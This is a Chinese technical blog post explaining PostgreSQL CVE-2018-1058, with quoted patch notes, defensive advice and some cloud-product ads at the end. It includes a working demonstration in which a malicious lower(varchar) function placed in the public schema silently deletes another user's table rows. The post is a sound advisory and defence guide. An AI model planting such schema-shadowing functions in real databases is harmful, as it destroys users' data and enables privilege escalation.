PostgreSQL CVE-2018-1058(search_path) - 暨数据库的那些陷阱与攻防指南

简介:

标签

PostgreSQL , search_path , 陷阱 , overload function


背景

PostgreSQL 元宵节对各个版本发布了小版本补丁,主要是解决一个search_path的功能,被攻击者利用来设置陷阱的问题。

https://git.postgresql.org/gitweb/?p=postgresql.git&a=search&h=HEAD&st=commit&s=CVE-2018-1058

CVE-2018-1058 陷阱介绍

1、namespace介绍

PostgreSQL schema即namespace,在一个DB中,可以创建多个schema,在schema中,可以创建对象。一个对象在一个schema中不允许重名,但是在多个schema中可以重名。

《PostgreSQL 逻辑结构 和 权限体系 介绍》

pic

2、search_path

那么当我们在查询数据库对象时,如何知道应该查哪个schema里的呢?

一种方法是fullpath,写成schemaname.obj_name

另一种方法是设置search_path,那么我们可以不写schemaname,也能找到对应的对象。例如(默认 search_path=$user, public; )

但是如果在多个schema中,有同样的对象,那么涉及到优先级的问题。

3、搜索优先级

pg_catalog 高于search_path的设置。

pg_catalog 是数据库的系统schema ,有最高优先级,所有的对象,如果在pg_catalog中有,那么优先使用pg_catalog的。

陷阱,由于search_path默认是$user, public,而public schema的读写权限默认是给所有角色的。

如果你没有使用fullpath的写法,而攻击者写了一个函数,并且这个函数可能是一个隐式转换前的(即完美匹配的函数),那么你的SQL将优先访问这个函数,覆盖pg_catalog中的。

4、攻击

普通用户a:

未使用fullpath,导致有被攻击的可能。

create table a(id int, info varchar);  
insert into a values(1,'abcdEFG');  
select id,lower(info) from a;  

lower系统函数,成为了一个陷阱,因为它不是varchar参数类型,用了隐式转换。

pp=> \df lower  
                          List of functions  
   Schema   | Name  | Result data type | Argument data types |  Type  
------------+-------+------------------+---------------------+--------  
 pg_catalog | lower | anyelement       | anyrange            | normal  
 pg_catalog | lower | text             | text                | normal  
(2 rows)  

攻击者b:

写一个函数,放到public,并且避免隐式转换.

create or replace function lower(varchar) returns void as $$  
declare  
begin  
  raise notice 'haha, delete your data';  
  delete from a;  
end;  
$$ language plpgsql strict SECURITY INVOKER;  

攻击者没有删除A表记录的权限,所以自己调用会报错。

但是这个陷阱是让a用户去踩的,我们看看A用户的调用。

postgres=> select lower('a'::varchar);  
NOTICE:  haha, delete your data  
ERROR:  permission denied for relation a  
CONTEXT:  SQL statement "delete from a"  
PL/pgSQL function lower(character varying) line 5 at SQL statement  

5、中招

普通用户,调用查询SQL,就会中招。

postgres=> \c postgres a  
You are now connected to database "postgres" as user "a".  
postgres=> select id,lower(info) from a;  
NOTICE:  haha, delete your data  
 id | lower  
----+-------  
  1 |  
(1 row)  
  
postgres=> select * from a;  
 id | info  
----+------  
(0 rows)  

a用户调用后,记录不见了,哭都来不及。

危害

攻击者,可能利用这个陷阱实现提权等操作,LIKE THIS:

《PostgreSQL 安全陷阱 - 利用触发器或规则,结合security invoker函数制造反噬陷阱》

危害巨大。

patch介绍

社区主要修正了一些search_path的文档内容,根据这个陷阱调整了一些建议。同时修改了pg_dump, pg_dumpall, pg_restore, vacuumdb等客户端代码,将search_path强制设置为只包含pg_catalog,因为通常调用这些客户端的都是超级用户,超级用户被下陷阱的话,危害就更大了。

Document how to configure installations and applications to guard against search-path-dependent trojan-horse attacks from other users (Noah Misch)

Using a search_path setting that includes any schemas writable by a hostile user enables that user to capture control of queries and then run arbitrary SQL code with the permissions of the attacked user. While it is possible to write queries that are proof against such hijacking, it is notationally tedious, and it's very easy to overlook holes. Therefore, we now recommend configurations in which no untrusted schemas appear in one's search path. Relevant documentation appears in Section 5.8.6 (for database administrators and users), Section 33.1 (for application authors), Section 37.15.1 (for extension authors), and CREATE FUNCTION (for authors of SECURITY DEFINER functions). (CVE-2018-1058)

Avoid use of insecure search_path settings in pg_dump and other client programs (Noah Misch, Tom Lane)

pg_dump, pg_upgrade, vacuumdb and other PostgreSQL-provided applications were themselves vulnerable to the type of hijacking described in the previous changelog entry; since these applications are commonly run by superusers, they present particularly attractive targets. To make them secure whether or not the installation as a whole has been secured, modify them to include only the pg_catalog schema in their search_path settings. Autovacuum worker processes now do the same, as well.

In cases where user-provided functions are indirectly executed by these programs — for example, user-provided functions in index expressions — the tighter search_path may result in errors, which will need to be corrected by adjusting those user-provided functions to not assume anything about what search path they are invoked under. That has always been good practice, but now it will be necessary for correct behavior. (CVE-2018-1058)

其他著名陷阱

1、函数陷阱

《PostgreSQL 安全陷阱 - 利用触发器或规则,结合security invoker函数制造反噬陷阱》

《PostgreSQL function's SECURITY DEFINER | INVOKER, SET configuration_parameter { TO value | = value | FROM CURRENT }》

2、杀进程陷阱

《PostgreSQL cancel 通信协议、信号和代码》

《PostgreSQL cancel 安全漏洞》

3、连接陷阱

《PostgreSQL 连接攻击(类似DDoS)》

4、视图陷阱

《PostgreSQL views privilege attack and security with security_barrier(视图攻击)》

5、事件触发器陷阱

6、触发器陷阱

7、规则陷阱

8、目前 scheam OWNER可以删除任何人在它的schema中创建的object。存在一定风险。

但是一个database的owner确不能删除别人在它的database中创建的schema.

searcha_path陷阱攻防

1、对于search_path这个陷阱,如果你的程序使用full path,则不会被陷阱利用。

2、禁止用户使用public schema。因为所有人都拥有public schema的读写权限。

3、如果你的环境只有你一个人在使用,也没问题。

https://wiki.postgresql.org/wiki/A_Guide_to_CVE-2018-1058:_Protect_Your_Search_Path

参考

https://git.postgresql.org/gitweb/?p=postgresql.git&a=search&h=HEAD&st=commit&s=CVE-2018-1058

《PostgreSQL 安全陷阱 - 利用触发器或规则,结合security invoker函数制造反噬陷阱》

《PostgreSQL function's SECURITY DEFINER | INVOKER, SET configuration_parameter { TO value | = value | FROM CURRENT }》

《PostgreSQL cancel 通信协议、信号和代码》

《PostgreSQL cancel 安全漏洞》

https://wiki.postgresql.org/wiki/A_Guide_to_CVE-2018-1058:_Protect_Your_Search_Path

相关实践学习
使用PolarDB和ECS搭建门户网站
本场景主要介绍如何基于PolarDB和ECS实现搭建门户网站。
阿里云数据库产品家族及特性
阿里云智能数据库产品团队一直致力于不断健全产品体系,提升产品性能,打磨产品功能,从而帮助客户实现更加极致的弹性能力、具备更强的扩展能力、并利用云设施进一步降低企业成本。以云原生+分布式为核心技术抓手,打造以自研的在线事务型(OLTP)数据库Polar DB和在线分析型(OLAP)数据库Analytic DB为代表的新一代企业级云原生数据库产品体系, 结合NoSQL数据库、数据库生态工具、云原生智能化数据库管控平台,为阿里巴巴经济体以及各个行业的企业客户和开发者提供从公共云到混合云再到私有云的完整解决方案,提供基于云基础设施进行数据从处理、到存储、再到计算与分析的一体化解决方案。本节课带你了解阿里云数据库产品家族及特性。
目录
相关文章
|
3月前
|
关系型数据库 MySQL 数据库
阿里云数据库RDS费用价格:MySQL、SQL Server、PostgreSQL和MariaDB引擎收费标准
阿里云RDS数据库支持MySQL、SQL Server、PostgreSQL、MariaDB,多种引擎优惠上线!MySQL倚天版88元/年,SQL Server 2核4G仅299元/年,PostgreSQL 227元/年起。高可用、可弹性伸缩,安全稳定。详情见官网活动页。
803 152
|
3月前
|
关系型数据库 MySQL 分布式数据库
阿里云PolarDB云原生数据库收费价格:MySQL和PostgreSQL详细介绍
阿里云PolarDB兼容MySQL、PostgreSQL及Oracle语法,支持集中式与分布式架构。标准版2核4G年费1116元起,企业版最高性能达4核16G,支持HTAP与多级高可用,广泛应用于金融、政务、互联网等领域,TCO成本降低50%。
|
3月前
|
关系型数据库 分布式数据库 数据库
阿里云数据库收费价格:MySQL、PostgreSQL、SQL Server和MariaDB引擎费用整理
阿里云数据库提供多种类型,包括关系型与NoSQL,主流如PolarDB、RDS MySQL/PostgreSQL、Redis等。价格低至21元/月起,支持按需付费与优惠套餐,适用于各类应用场景。
|
6月前
|
SQL 关系型数据库 MySQL
Go语言数据库编程:使用 `database/sql` 与 MySQL/PostgreSQL
Go语言通过`database/sql`标准库提供统一数据库操作接口,支持MySQL、PostgreSQL等多种数据库。本文介绍了驱动安装、连接数据库、基本增删改查操作、预处理语句、事务处理及错误管理等内容,涵盖实际开发中常用的技巧与注意事项,适合快速掌握Go语言数据库编程基础。
505 62
|
3月前
|
关系型数据库 MySQL 数据库
阿里云数据库RDS支持MySQL、SQL Server、PostgreSQL和MariaDB引擎
阿里云数据库RDS支持MySQL、SQL Server、PostgreSQL和MariaDB引擎,提供高性价比、稳定安全的云数据库服务,适用于多种行业与业务场景。
|
4月前
|
存储 关系型数据库 数据库
【赵渝强老师】PostgreSQL数据库的WAL日志与数据写入的过程
PostgreSQL中的WAL(预写日志)是保证数据完整性的关键技术。在数据修改前,系统会先将日志写入WAL,确保宕机时可通过日志恢复数据。它减少了磁盘I/O,提升了性能,并支持手动切换日志文件。WAL文件默认存储在pg_wal目录下,采用16进制命名规则。此外,PostgreSQL提供pg_waldump工具解析日志内容。
420 0
|
6月前
|
存储 关系型数据库 分布式数据库
【赵渝强老师】基于PostgreSQL的分布式数据库:Citus
Citus 是基于 PostgreSQL 的开源分布式数据库,采用 shared nothing 架构,具备良好的扩展性。它以插件形式集成,部署简单,适用于处理大规模数据和高并发场景。本文介绍了 Citus 的基础概念、安装配置步骤及其在单机环境下的集群搭建方法。
540 2
|
存储 关系型数据库 数据库
【赵渝强老师】PostgreSQL的数据库
PostgreSQL的逻辑存储结构涵盖数据库集群、数据库、表、索引、视图等对象,每个对象有唯一的oid标识。数据库集群包含多个数据库,每个数据库又包含多个模式,模式内含表、函数等。通过特定SQL命令可查看和管理这些数据库对象。
215 4
|
存储 关系型数据库 MySQL
一个项目用5款数据库?MySQL、PostgreSQL、ClickHouse、MongoDB区别,适用场景
一个项目用5款数据库?MySQL、PostgreSQL、ClickHouse、MongoDB——特点、性能、扩展性、安全性、适用场景比较
|
8月前
|
SQL 关系型数据库 数据库
【赵渝强老师】创建PostgreSQL的数据库
本文介绍了在PostgreSQL中通过SQL命令“create database”创建数据库的方法。首先查询系统目录pg_database以查看现有数据库集合,然后使用“create database”命令创建新数据库,并了解其在$PDATA/base目录下对应的文件夹生成。最后重新查询数据库集合确认创建结果,附带视频讲解便于理解操作步骤及注意事项。
240 1

相关产品

  • 云原生数据库 PolarDB